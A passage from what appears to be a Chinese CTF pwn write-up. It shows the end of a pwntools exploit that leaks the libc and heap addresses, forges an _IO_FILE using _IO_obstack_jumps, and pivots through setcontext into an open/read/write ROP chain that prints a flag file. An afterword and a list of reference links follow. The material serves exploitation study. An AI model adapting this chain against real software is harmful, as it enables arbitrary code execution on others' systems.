p.recvuntil(b"Index: \n")
p.sendline(str(idx).encode('ascii'))


p.sendlineafter("enter your key >>\n", b'10')
add(2) # 0
add(2) # 1
add(1) # 2
free(2)
free(1)
free(0)

add(1) # 3
add(1) # 4
add(1) # 5
add(1) # 6
free(3)
free(5)
show(3)
leak = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 0x1f2cc0
log.info("libc_base==>0x%x" %leak)
p.recv(2)
heap_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x17f0
log.info("heap_base==>0x%x" %heap_base)

free(4)
free(6)
add(3) # 7
add(1) # 8
add(1) # 9
free(8)
add(3) # 10

_IO_list_all = leak + 0x1f3660
chunk_addr = heap_base + 0x1810
_IO_obstack_jumps = leak + libc.sym['_IO_obstack_jumps']
gadget = leak + 0x0000000000146020 # mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]
fake_IO_FILE = p64(0)
fake_IO_FILE += p64(0xa81)
fake_IO_FILE += p64(0)
fake_IO_FILE += p64(1) # next_free
fake_IO_FILE += p64(0) # chunk_limit
fake_IO_FILE += p64(1) # _IO_write_ptr
fake_IO_FILE += p64(0) # _IO_write_end
fake_IO_FILE += p64(gadget) # call func
fake_IO_FILE = fake_IO_FILE.ljust(0x48, b'\x00')
fake_IO_FILE += p64(chunk_addr + 0xe8) # rdiValue
fake_IO_FILE += p64(1) # use_extra_arg
fake_IO_FILE = fake_IO_FILE.ljust(0xC0, b'\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xD8, b'\x00')
fake_IO_FILE += p64(_IO_obstack_jumps + 0x20) # vtable
fake_IO_FILE += p64(chunk_addr)

setcontext = leak + libc.sym['setcontext'] + 61
open = libc.sym['open'] + leak
read = libc.sym['read'] + leak
write = libc.sym['write'] + leak
ret = leak + 0x000000000002d446
pop_rdi = next(libc.search(asm('pop rdi\nret'))) + leak
pop_rsi = next(libc.search(asm('pop rsi\nret'))) + leak
pop_rdx = leak + 0x00000000001066e1 # pop rdx ; pop r12 ; ret
flag_addr = chunk_addr + 0xf8
rop_addr = chunk_addr + 0x198
rop = p64(0) + p64(chunk_addr + 0xe8) + b'./flag\x00\x00'
rop += p64(0) + p64(setcontext)
rop = rop.ljust(0xa0, b'\x00')
rop += p64(rop_addr) + p64(ret)
rop += p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi) + p64(0) + p64(open)
rop += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)*2 + p64(read)
rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30)*2 + p64(write)

payload = p64(0) + p64(_IO_list_all - 0x20)
payload += fake_IO_FILE
payload += rop
payload = payload.ljust(0xa90, b'\x00')
payload += p64(0) + p64(0xab1)
edit(5, payload)
free(2)
add(3)
# debug('b _IO_obstack_xsputn')
choose(6)

p.interactive()

后记

师傅们真的 yyds !吹爆了,都好强,我不过是跟在大师傅们后面拾其牙慧罢了,希望也有一天,能拥有属于自己的痕迹吧。

参考文章:

https://www.jianshu.com/p/2e00afb01606

https://blog.csdn.net/A951860555/article/details/116425824

https://www.cnblogs.com/elvirangel/p/7843842.html

https://blog.csdn.net/w12315q/article/details/84328447

https://www.anquanke.com/post/id/177910

https://www.anquanke.com/post/id/177958

https://www.anquanke.com/post/id/84987

https://xz.aliyun.com/t/5508?spm=5176.12901015.0.i12901015.22a8525cU0EiiN

https://www.anquanke.com/post/id/242640#h3-6

https://www.anquanke.com/post/id/216290#h3-8

https://www.anquanke.com/post/id/202387#h2-0

https://www.anquanke.com/post/id/260614#h3-10

https://bbs.kanxue.com/thread-273418.htm

https://bbs.kanxue.com/thread-273832.htm

https://bbs.kanxue.com/thread-273863.htm

查看评论